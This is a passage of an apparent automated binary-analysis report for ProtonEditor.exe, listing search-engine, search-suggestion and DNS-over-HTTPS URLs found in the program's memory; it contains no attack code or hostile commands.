    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://hladaj.atlas.sk/fulltext/?phrase=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://id.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://id.search.yahoo.com/favicon.icohttps://id.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://id.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://id.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://in.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://in.search.yahoo.com/favicon.icohttps://in.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://in.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://in.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://isearch.avg.com/search?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://log.getdropbox.com/hpkp
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://lss.sse-iacapps.com/query?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://m.so.com/index.php?ie=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://m.so.com/s?ie=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://m.sogou.com/web/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://malaysia.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://malaysia.search.yahoo.com/favicon.icohttps://malaysia.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://malaysia.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://malaysia.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://metager.de/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://metager.de/favicon.icohttps://metager.de/meta/meta.ger3?eingabe=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://metager.de/meta/meta.ger3?eingabe=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://metager.org/meta/meta.ger3?eingabe=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://mx.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://mx.search.yahoo.com/favicon.icohttps://mx.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://mx.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://mx.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nextdns.io/privacy
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nl.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nl.search.yahoo.com/favicon.icohttps://nl.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nl.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nl.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nl.softonic.com/s/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nova.rambler.ru/search?query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nova.rambler.ru/suggest?v=3&query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nz.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nz.search.yahoo.com/favicon.icohttps://nz.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nz.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nz.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://oceanhero.today/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://oceanhero.today/favicon.icohttps://oceanhero.today/web?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://oceanhero.today/web?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://odvr.nic.cz/doh
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://odvr.nic.cz/dohodvr.nic.cz185.43.135.1193.17.47.12001:148f:fffe::12001:148f:ffff::1
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://pe.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://pe.search.yahoo.com/favicon.icohttps://pe.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://pe.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://pe.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://perfetto.dev/docs/contributing/getting-started#community).
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://perfetto.dev/docs/contributing/getting-started#community).No
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://petalsearch.com/search?query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ph.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ph.search.yahoo.com/favicon.icohttps://ph.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ph.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ph.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://public.dns.iij.jp/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://public.dns.iij.jp/IIJ
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://public.dns.iij.jp/dns-query
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://public.dns.iij.jp/dns-queryIijUShttps://nextdns.io/privacyNextDNShttps://chromium.dns.nextdn
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://qc.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://qc.search.yahoo.com/favicon.icohttps://qc.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://qc.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://qc.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://se.search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://se.search.yahoo.com/favicon.icohttps://se.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://se.search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search-static-dre.dbankcdn.com/pc/v1/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search-static-dre.dbankcdn.com/pc/v1/favicon.icohttps://petalsearch.com/search?query=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.avg.com/route/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.daum.net/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.daum.net/favicon.icohttps://search.daum.net/search?w=tot&DA=JU5&q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.daum.net/search?w=tot&DA=JU5&q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.gmx.co.uk/web/result?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.gmx.com/web/result?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.gmx.es/web/result?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.gmx.fr/web/result?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.goo.ne.jp/cdn/common/img/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.goo.ne.jp/cdn/common/img/favicon.icohttps://search.goo.ne.jp/web.jsp?MT=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.goo.ne.jp/sgt.jsp?MT=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.goo.ne.jp/web.jsp?MT=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.naver.com/search.naver?ie=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.privacywall.org/suggest.php?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.seznam.cz/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.seznam.cz/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.seznam.cz/favicon.icohttps://search.seznam.cz/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.seznam.sk/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.seznam.sk/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.seznam.sk/favicon.icohttps://search.seznam.sk/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.softonic.com/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.walla.co.il/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.co.jp/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.co.jp/favicon.icohttps://search.yahoo.co.jp/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.co.jp/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.com/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.com/search
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.yahooapis.jp/AssistSearchService/V2/webassistSearch?p=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://searchatlas.centrum.cz/?q=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://searchatlas.centrum.cz/favicon.ico
